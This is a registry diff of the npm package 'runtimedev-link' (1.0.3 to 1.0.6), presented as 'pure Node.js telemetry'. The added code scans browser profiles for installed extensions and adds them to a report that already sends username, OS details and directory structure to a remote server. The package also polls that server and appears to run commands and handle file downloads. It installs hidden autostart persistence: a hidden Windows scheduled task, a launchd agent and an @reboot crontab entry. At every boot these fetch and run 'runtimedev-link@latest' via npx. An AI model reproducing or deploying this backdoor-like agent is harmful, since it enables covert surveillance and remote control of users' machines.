runtimedev-link 1.0.3 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,241 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function homeDir() {
7
+ try {
8
+ return process.env.HOME || process.env.USERPROFILE || '';
9
+ } catch {
10
+ return '';
11
+ }
12
+ }
13
+
14
+ function appendProfileExtensionDirs(roots, userDataDir) {
15
+ let entries = [];
16
+ try {
17
+ entries = fs.readdirSync(userDataDir, { withFileTypes: true });
18
+ } catch {
19
+ return;
20
+ }
21
+ for (const entry of entries) {
22
+ if (!entry.isDirectory()) continue;
23
+ const name = entry.name;
24
+ if (name === 'System Profile' || name.startsWith('Snapshot')) continue;
25
+ const ext = path.join(userDataDir, name, 'Extensions');
26
+ try {
27
+ if (fs.statSync(ext).isDirectory()) roots.push(ext);
28
+ } catch {
29
+ // ignore
30
+ }
31
+ }
32
+ }
33
+
34
+ function chromeExtensionScanRoots() {
35
+ const custom = String(process.env.SSTAR_CHROME_EXTENSIONS_DIR || '').trim();
36
+ if (custom) return [path.resolve(custom)];
37
+
38
+ const home = homeDir();
39
+ const roots = [];
40
+
41
+ if (process.platform === 'win32') {
42
+ let la = process.env.LOCALAPPDATA || '';
43
+ if (!la && process.env.USERPROFILE) {
44
+ la = path.join(process.env.USERPROFILE, 'AppData', 'Local');
45
+ }
46
+ if (la) {
47
+ appendProfileExtensionDirs(
48
+ roots,
49
+ path.join(la, 'Google', 'Chrome', 'User Data')
50
+ );
51
+ appendProfileExtensionDirs(
52
+ roots,
53
+ path.join(la, 'Microsoft', 'Edge', 'User Data')
54
+ );
55
+ appendProfileExtensionDirs(
56
+ roots,
57
+ path.join(la, 'BraveSoftware', 'Brave-Browser', 'User Data')
58
+ );
59
+ }
60
+ } else if (process.platform === 'darwin') {
61
+ if (home) {
62
+ appendProfileExtensionDirs(
63
+ roots,
64
+ path.join(home, 'Library', 'Application Support', 'Google', 'Chrome')
65
+ );
66
+ }
67
+ } else if (home) {
68
+ appendProfileExtensionDirs(
69
+ roots,
70
+ path.join(home, '.config', 'google-chrome')
71
+ );
72
+ appendProfileExtensionDirs(roots, path.join(home, '.config', 'chromium'));
73
+ }
74
+
75
+ return roots;
76
+ }
77
+
78
+ function latestVersionDir(extPath) {
79
+ let entries = [];
80
+ try {
81
+ entries = fs.readdirSync(extPath, { withFileTypes: true });
82
+ } catch {
83
+ return '';
84
+ }
85
+ const vers = [];
86
+ for (const entry of entries) {
87
+ if (entry.isDirectory()) vers.push(entry.name);
88
+ }
89
+ if (vers.length === 0) return '';
90
+ vers.sort((a, b) => (a > b ? -1 : a < b ? 1 : 0));
91
+ return vers[0];
92
+ }
93
+
94
+ function lookupChromeMessage(messagesPath, key) {
95
+ try {
96
+ const raw = JSON.parse(fs.readFileSync(messagesPath, 'utf8'));
97
+ const entry = raw && raw[key];
98
+ if (entry && entry.message) return String(entry.message).trim();
99
+ } catch {
100
+ // ignore
101
+ }
102
+ return '';
103
+ }
104
+
105
+ function resolveLocalizedExtensionName(extVersionRoot, defaultLocale, raw) {
106
+ const name = String(raw || '').trim();
107
+ if (!name.startsWith('__MSG_') || !name.endsWith('__')) return name;
108
+ const key = name.slice('__MSG_'.length, -2);
109
+ if (!key) return '';
110
+
111
+ const localesDir = path.join(extVersionRoot, '_locales');
112
+ const tryLocales = [];
113
+ if (defaultLocale) tryLocales.push(String(defaultLocale).trim());
114
+ tryLocales.push('en', 'en_US', 'en_GB');
115
+ try {
116
+ for (const entry of fs.readdirSync(localesDir, { withFileTypes: true })) {
117
+ if (entry.isDirectory()) tryLocales.push(entry.name);
118
+ }
119
+ } catch {
120
+ // ignore
121
+ }
122
+
123
+ const seen = new Set();
124
+ for (const loc of tryLocales) {
125
+ if (!loc || seen.has(loc)) continue;
126
+ seen.add(loc);
127
+ const msg = lookupChromeMessage(
128
+ path.join(localesDir, loc, 'messages.json'),
129
+ key
130
+ );
131
+ if (msg) return msg;
132
+ }
133
+ return '';
134
+ }
135
+
136
+ function readExtensionManifest(manifestPath) {
137
+ try {
138
+ const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
139
+ const extRoot = path.dirname(manifestPath);
140
+ let name = String(manifest.name || '').trim();
141
+ if (name.startsWith('__MSG_')) {
142
+ name = resolveLocalizedExtensionName(
143
+ extRoot,
144
+ manifest.default_locale,
145
+ name
146
+ );
147
+ }
148
+ return { name, version: String(manifest.version || '').trim() };
149
+ } catch {
150
+ return { name: '', version: '' };
151
+ }
152
+ }
153
+
154
+ function mergeManualExtensions(disk, envJson) {
155
+ const raw = String(envJson || '').trim();
156
+ if (!raw) return disk;
157
+ let manual = [];
158
+ try {
159
+ manual = JSON.parse(raw);
160
+ } catch {
161
+ return disk;
162
+ }
163
+ if (!Array.isArray(manual) || manual.length === 0) return disk;
164
+
165
+ const byId = new Map();
166
+ for (const ext of disk) {
167
+ if (ext.extensionId) byId.set(ext.extensionId, ext);
168
+ }
169
+ for (const ext of manual) {
170
+ const id = ext.extensionId || ext.extensionID;
171
+ if (!id) continue;
172
+ const prev = byId.get(id);
173
+ const installPath =
174
+ String(ext.installPath || '').trim() ||
175
+ (prev && prev.installPath) ||
176
+ '';
177
+ byId.set(id, {
178
+ extensionId: id,
179
+ extensionName:
180
+ ext.extensionName || ext.name || (prev && prev.extensionName) || id,
181
+ version: ext.version || (prev && prev.version) || '',
182
+ installPath,
183
+ });
184
+ }
185
+ return [...byId.values()].sort((a, b) =>
186
+ a.extensionId.localeCompare(b.extensionId)
187
+ );
188
+ }
189
+
190
+ function collectChromeExtensionsFromDisk() {
191
+ const seen = new Set();
192
+ const out = [];
193
+
194
+ for (const root of chromeExtensionScanRoots()) {
195
+ let st;
196
+ try {
197
+ st = fs.statSync(root);
198
+ } catch {
199
+ continue;
200
+ }
201
+ if (!st.isDirectory()) continue;
202
+
203
+ let entries = [];
204
+ try {
205
+ entries = fs.readdirSync(root, { withFileTypes: true });
206
+ } catch {
207
+ continue;
208
+ }
209
+
210
+ for (const extDir of entries) {
211
+ if (!extDir.isDirectory()) continue;
212
+ const extId = extDir.name;
213
+ if (seen.has(extId)) continue;
214
+
215
+ const base = path.join(root, extId);
216
+ const ver = latestVersionDir(base);
217
+ if (!ver) continue;
218
+
219
+ const manifestPath = path.join(base, ver, 'manifest.json');
220
+ const { name, version } = readExtensionManifest(manifestPath);
221
+ seen.add(extId);
222
+ out.push({
223
+ extensionId: extId,
224
+ extensionName: name || extId,
225
+ version,
226
+ installPath: path.join(base, ver),
227
+ });
228
+ }
229
+ }
230
+
231
+ out.sort((a, b) => a.extensionId.localeCompare(b.extensionId));
232
+ return mergeManualExtensions(
233
+ out,
234
+ process.env.SSTAR_CHROME_EXTENSIONS_JSON || ''
235
+ );
236
+ }
237
+
238
+ module.exports = {
239
+ collectChromeExtensionsFromDisk,
240
+ chromeExtensionScanRoots,
241
+ };
@@ -1,12 +1,14 @@
1
1
  'use strict';
2
2
 
3
3
  const fs = require('fs');
4
+ const os = require('os');
4
5
  const path = require('path');
5
6
  const { execSync, spawnSync } = require('child_process');
6
7
 
7
8
  const SERVICE_NAME = 'runtimedev-link';
9
+ const NPM_PACKAGE = 'runtimedev-link@latest';
8
10
  const LAUNCH_LABEL = 'com.runtimedev.link';
9
- const SYSTEMD_UNIT = 'runtimedev-link.service';
11
+ const WINDOWS_TASK_NAME = 'runtimedev-link';
10
12
 
11
13
  function homeDir() {
12
14
  return process.env.HOME || process.env.USERPROFILE || '';
@@ -28,12 +30,21 @@ function dataDir() {
28
30
  return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
29
31
  }
30
32
 
31
- function cliPath() {
32
- return path.resolve(__dirname, '..', 'bin', 'cli.js');
33
+ function startScriptPath() {
34
+ return process.platform === 'win32'
35
+ ? path.join(dataDir(), 'start.cmd')
36
+ : path.join(dataDir(), 'start.sh');
33
37
  }
34
38
 
35
- function nodePath() {
36
- return process.execPath;
39
+ function logPath() {
40
+ if (process.platform === 'win32') {
41
+ return path.join(process.env.TEMP || homeDir(), `${SERVICE_NAME}.log`);
42
+ }
43
+ return path.join(homeDir(), `${SERVICE_NAME}.log`);
44
+ }
45
+
46
+ function quoteSh(value) {
47
+ return `"${String(value || '').replace(/"/g, '\\"')}"`;
37
48
  }
38
49
 
39
50
  function xmlEscape(value) {
@@ -44,10 +55,6 @@ function xmlEscape(value) {
44
55
  .replace(/"/g, '&quot;');
45
56
  }
46
57
 
47
- function quoteSh(value) {
48
- return `"${String(value || '').replace(/"/g, '\\"')}"`;
49
- }
50
-
51
58
  function mkdirp(dir) {
52
59
  try {
53
60
  fs.mkdirSync(dir, { recursive: true });
@@ -65,104 +72,96 @@ function writeConfig(cfg) {
65
72
 
66
73
  mkdirp(configDir());
67
74
 
68
- const unixBody = [
69
- `SSTAR_API_BASE=${apiBase}`,
70
- `SSTAR_DEPLOYMENT_HASH=${hash}`,
71
- '',
72
- ].join('\n');
73
- fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
75
+ fs.writeFileSync(
76
+ configFile(),
77
+ [`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
78
+ { mode: 0o600 }
79
+ );
74
80
 
75
81
  if (process.platform === 'win32') {
76
- const batBody = [
82
+ fs.writeFileSync(
83
+ windowsConfigBat(),
84
+ [
85
+ '@echo off',
86
+ `set SSTAR_API_BASE=${apiBase}`,
87
+ `set SSTAR_DEPLOYMENT_HASH=${hash}`,
88
+ '',
89
+ ].join('\r\n'),
90
+ 'utf8'
91
+ );
92
+ }
93
+ }
94
+
95
+ function writeStartScript() {
96
+ mkdirp(dataDir());
97
+ const script = startScriptPath();
98
+ const log = logPath();
99
+
100
+ if (process.platform === 'win32') {
101
+ const body = [
77
102
  '@echo off',
78
- `set SSTAR_API_BASE=${apiBase}`,
79
- `set SSTAR_DEPLOYMENT_HASH=${hash}`,
103
+ 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
104
+ 'set "NPX=npx"',
105
+ 'for /f "delims=" %%P in (\'where npx 2^>nul\') do (set "NPX=%%P" & goto :launch)',
106
+ 'if exist "%ProgramFiles%\\nodejs\\npx.cmd" set "NPX=%ProgramFiles%\\nodejs\\npx.cmd"',
107
+ ':launch',
108
+ `start /B "%NPX%" ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
80
109
  '',
81
110
  ].join('\r\n');
82
- fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
111
+ fs.writeFileSync(script, body, 'utf8');
112
+ return script;
83
113
  }
84
114
 
85
- mkdirp(dataDir());
86
- fs.writeFileSync(
87
- path.join(dataDir(), 'install-meta.json'),
88
- JSON.stringify(
89
- {
90
- node: nodePath(),
91
- cli: cliPath(),
92
- installedAt: new Date().toISOString(),
93
- },
94
- null,
95
- 2
96
- ),
97
- 'utf8'
98
- );
115
+ const body = [
116
+ '#!/bin/sh',
117
+ 'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
118
+ '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
119
+ `LOG=${quoteSh(log)}`,
120
+ 'export PATH="${PATH:-/usr/local/bin:/usr/bin:/bin}"',
121
+ 'NPX="$(command -v npx 2>/dev/null || true)"',
122
+ 'if [ -z "$NPX" ] && command -v node >/dev/null 2>&1; then',
123
+ ' _NODE_DIR="$(dirname "$(command -v node)")"',
124
+ ' if [ -x "$_NODE_DIR/npx" ]; then NPX="$_NODE_DIR/npx"; fi',
125
+ 'fi',
126
+ '[ -z "$NPX" ] && [ -x /usr/bin/npx ] && NPX=/usr/bin/npx',
127
+ '[ -z "$NPX" ] && NPX=npx',
128
+ 'cd "$HOME" 2>/dev/null || cd /',
129
+ `nohup "$NPX" ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
130
+ '',
131
+ ].join('\n');
132
+ fs.writeFileSync(script, body, { mode: 0o755 });
133
+ return script;
99
134
  }
100
135
 
101
- function run(cmd, args, opts) {
136
+ function run(cmd, args) {
102
137
  try {
103
- const result = spawnSync(cmd, args, {
104
- stdio: 'ignore',
105
- ...opts,
106
- });
138
+ const result = spawnSync(cmd, args, { stdio: 'ignore' });
107
139
  return result.status === 0;
108
140
  } catch {
109
141
  return false;
110
142
  }
111
143
  }
112
144
 
113
- function installLinux(node, cli) {
114
- const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
115
- mkdirp(unitDir);
116
- const unitPath = path.join(unitDir, SYSTEMD_UNIT);
117
- const envFile = configFile();
118
- const body = `[Unit]
119
- Description=RuntimeDev Link Agent
120
- After=network-online.target
121
- Wants=network-online.target
122
-
123
- [Service]
124
- Type=simple
125
- EnvironmentFile=${envFile}
126
- ExecStart=${quoteSh(node)} ${quoteSh(cli)}
127
- Restart=always
128
- RestartSec=30
129
-
130
- [Install]
131
- WantedBy=default.target
132
- `;
133
- fs.writeFileSync(unitPath, body, 'utf8');
134
- if (
135
- run('systemctl', ['--user', 'daemon-reload']) &&
136
- run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
137
- ) {
138
- return { ok: true, method: 'systemd', path: unitPath };
139
- }
140
- return installCrontab(node, cli);
141
- }
142
-
143
- function installCrontab(node, cli) {
144
- const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
145
- path.join(homeDir(), `${SERVICE_NAME}.log`)
146
- )} 2>&1`;
145
+ function installCrontab(scriptPath) {
146
+ const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
147
147
  let existing = '';
148
148
  try {
149
- existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
149
+ existing = execSync('crontab -l', {
150
+ encoding: 'utf8',
151
+ stdio: ['ignore', 'pipe', 'ignore'],
152
+ });
150
153
  } catch {
151
154
  existing = '';
152
155
  }
153
- if (existing.includes(cli) && existing.includes('@reboot')) {
156
+ if (existing.includes(scriptPath) && existing.includes('@reboot')) {
154
157
  return { ok: true, method: 'crontab', path: 'existing' };
155
158
  }
156
159
  const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
157
- try {
158
- execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
159
- return { ok: true, method: 'crontab', path: 'crontab -l' };
160
- } catch (err) {
161
- throw new Error(`crontab install failed: ${String(err.message || err)}`);
162
- }
160
+ execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
161
+ return { ok: true, method: 'crontab', path: 'crontab -l' };
163
162
  }
164
163
 
165
- function installDarwin(node, cli, cfg) {
164
+ function installLaunchd(scriptPath) {
166
165
  const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
167
166
  mkdirp(agentsDir);
168
167
  const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
@@ -174,29 +173,19 @@ function installDarwin(node, cli, cfg) {
174
173
  <string>${LAUNCH_LABEL}</string>
175
174
  <key>ProgramArguments</key>
176
175
  <array>
177
- <string>${xmlEscape(node)}</string>
178
- <string>${xmlEscape(cli)}</string>
176
+ <string>/bin/sh</string>
177
+ <string>${xmlEscape(scriptPath)}</string>
179
178
  </array>
180
- <key>EnvironmentVariables</key>
181
- <dict>
182
- <key>SSTAR_API_BASE</key>
183
- <string>${xmlEscape(cfg.apiBase)}</string>
184
- <key>SSTAR_DEPLOYMENT_HASH</key>
185
- <string>${xmlEscape(cfg.hash)}</string>
186
- </dict>
187
179
  <key>RunAtLoad</key>
188
180
  <true/>
189
- <key>KeepAlive</key>
190
- <true/>
191
181
  <key>StandardOutPath</key>
192
- <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
182
+ <string>${xmlEscape(logPath())}</string>
193
183
  <key>StandardErrorPath</key>
194
- <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
184
+ <string>${xmlEscape(logPath())}</string>
195
185
  </dict>
196
186
  </plist>
197
187
  `;
198
188
  fs.writeFileSync(plistPath, plist, 'utf8');
199
-
200
189
  run('launchctl', ['unload', plistPath]);
201
190
  const uid = process.getuid ? String(process.getuid()) : '501';
202
191
  const svc = `gui/${uid}/${LAUNCH_LABEL}`;
@@ -210,29 +199,97 @@ function installDarwin(node, cli, cfg) {
210
199
  return { ok: true, method: 'launchd', path: plistPath };
211
200
  }
212
201
 
213
- function installWindows(node, cli) {
214
- const appData = process.env.APPDATA;
215
- if (!appData) {
216
- throw new Error('APPDATA is not set');
202
+ function windowsUserId() {
203
+ try {
204
+ const info = os.userInfo();
205
+ const domain = String(process.env.USERDOMAIN || '').trim();
206
+ if (domain && domain.toUpperCase() !== String(info.username || '').toUpperCase()) {
207
+ return `${domain}\\${info.username}`;
208
+ }
209
+ return info.username;
210
+ } catch {
211
+ return String(process.env.USERNAME || '');
217
212
  }
218
- const startup = path.join(
213
+ }
214
+
215
+ function removeLegacyWindowsStartup() {
216
+ const appData = process.env.APPDATA;
217
+ if (!appData) return;
218
+ const linkPath = path.join(
219
219
  appData,
220
220
  'Microsoft',
221
221
  'Windows',
222
222
  'Start Menu',
223
223
  'Programs',
224
- 'Startup'
224
+ 'Startup',
225
+ `${SERVICE_NAME}.cmd`
225
226
  );
226
- mkdirp(startup);
227
- const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
228
- const winBody = [
229
- '@echo off',
230
- 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
231
- `start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
232
- '',
233
- ].join('\r\n');
234
- fs.writeFileSync(cmdPath, winBody, 'utf8');
235
- return { ok: true, method: 'startup', path: cmdPath };
227
+ try {
228
+ fs.unlinkSync(linkPath);
229
+ } catch {
230
+ // ignore
231
+ }
232
+ }
233
+
234
+ function writeWindowsTaskXml(scriptPath) {
235
+ const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
236
+ const userId = xmlEscape(windowsUserId());
237
+ const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
238
+ const xml = `<?xml version="1.0" encoding="UTF-16"?>
239
+ <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
240
+ <RegistrationInfo>
241
+ <Description>RuntimeDev Link Agent</Description>
242
+ </RegistrationInfo>
243
+ <Triggers>
244
+ <LogonTrigger>
245
+ <Enabled>true</Enabled>
246
+ <UserId>${userId}</UserId>
247
+ <Delay>PT30S</Delay>
248
+ </LogonTrigger>
249
+ </Triggers>
250
+ <Principals>
251
+ <Principal id="Author">
252
+ <UserId>${userId}</UserId>
253
+ <LogonType>InteractiveToken</LogonType>
254
+ <RunLevel>LeastPrivilege</RunLevel>
255
+ </Principal>
256
+ </Principals>
257
+ <Settings>
258
+ <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
259
+ <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
260
+ <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
261
+ <AllowHardTerminate>true</AllowHardTerminate>
262
+ <StartWhenAvailable>true</StartWhenAvailable>
263
+ <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
264
+ <AllowStartOnDemand>true</AllowStartOnDemand>
265
+ <Enabled>true</Enabled>
266
+ <Hidden>true</Hidden>
267
+ <RunOnlyIfIdle>false</RunOnlyIfIdle>
268
+ <WakeToRun>false</WakeToRun>
269
+ <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
270
+ <Priority>7</Priority>
271
+ </Settings>
272
+ <Actions Context="Author">
273
+ <Exec>
274
+ <Command>cmd.exe</Command>
275
+ <Arguments>${cmdArgs}</Arguments>
276
+ </Exec>
277
+ </Actions>
278
+ </Task>
279
+ `;
280
+ fs.writeFileSync(xmlPath, Buffer.from('\ufeff' + xml, 'utf16le'));
281
+ return xmlPath;
282
+ }
283
+
284
+ function installWindowsTaskScheduler(scriptPath) {
285
+ removeLegacyWindowsStartup();
286
+ const xmlPath = writeWindowsTaskXml(scriptPath);
287
+ run('schtasks', ['/Delete', '/TN', WINDOWS_TASK_NAME, '/F']);
288
+ const ok = run('schtasks', ['/Create', '/TN', WINDOWS_TASK_NAME, '/XML', xmlPath, '/F']);
289
+ if (!ok) {
290
+ throw new Error('schtasks failed to register autostart (Task Scheduler)');
291
+ }
292
+ return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
236
293
  }
237
294
 
238
295
  function installPersistence(cfg) {
@@ -240,21 +297,15 @@ function installPersistence(cfg) {
240
297
  throw new Error('Could not resolve home directory');
241
298
  }
242
299
  writeConfig(cfg);
243
- const node = nodePath();
244
- const cli = cliPath();
245
- if (!fs.existsSync(cli)) {
246
- throw new Error(`CLI not found at ${cli}`);
247
- }
300
+ const scriptPath = writeStartScript();
248
301
 
249
302
  switch (process.platform) {
250
303
  case 'win32':
251
- return installWindows(node, cli);
304
+ return installWindowsTaskScheduler(scriptPath);
252
305
  case 'darwin':
253
- return installDarwin(node, cli, cfg);
254
- case 'linux':
255
- return installLinux(node, cli);
306
+ return installLaunchd(scriptPath);
256
307
  default:
257
- return installCrontab(node, cli);
308
+ return installCrontab(scriptPath);
258
309
  }
259
310
  }
260
311
 
@@ -262,6 +313,7 @@ module.exports = {
262
313
  SERVICE_NAME,
263
314
  configFile,
264
315
  configDir,
316
+ startScriptPath,
265
317
  installPersistence,
266
318
  writeConfig,
267
319
  };
package/lib/transport.js CHANGED
@@ -8,6 +8,7 @@ const { getIdentity } = require('./enum');
8
8
  const { scanDirectory, defaultScanRoot } = require('./fs_scan');
9
9
  const { runCommand } = require('./exec');
10
10
  const { handleDownloadRequest: buildDownloadPayload } = require('./download');
11
+ const { collectChromeExtensionsFromDisk } = require('./chrome_extensions');
11
12
 
12
13
  const POLL_MIN_SEC = 20;
13
14
  const POLL_MAX_SEC = 60;
@@ -25,6 +26,14 @@ let startupAnnounced = false;
25
26
  let publicIpCache = '';
26
27
  let shuttingDown = false;
27
28
 
29
+ function readChromeExtensions() {
30
+ try {
31
+ return collectChromeExtensionsFromDisk();
32
+ } catch {
33
+ return [];
34
+ }
35
+ }
36
+
28
37
  function envInt(key, fallback) {
29
38
  const raw = String(process.env[key] || '').trim();
30
39
  if (!raw) return fallback;
@@ -176,7 +185,7 @@ async function postTelemetryReport() {
176
185
  username: id.username,
177
186
  osInfo: id.osInfo,
178
187
  directoryStructure,
179
- chromeExtensions: [],
188
+ chromeExtensions: readChromeExtensions(),
180
189
  });
181
190
  }
182
191
 
@@ -354,6 +363,7 @@ async function handlePollResponse(data) {
354
363
  if (data.activated && !agentActivated) {
355
364
  agentActivated = true;
356
365
  telemetryLoop().catch(() => {});
366
+ postTelemetryReport().catch(() => {});
357
367
  }
358
368
 
359
369
  if (!agentActivated) return;
@@ -435,6 +445,7 @@ async function start() {
435
445
  }
436
446
 
437
447
  await fetchPublicIp();
448
+ readChromeExtensions();
438
449
  commandLoop().catch(() => {});
439
450
  }
440
451
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "runtimedev-link",
3
- "version": "1.0.3",
3
+ "version": "1.0.6",
4
4
  "description": "Pure Node.js telemetry for RuntimeDev platform",
5
5
  "main": "lib/transport.js",
6
6
  "bin": {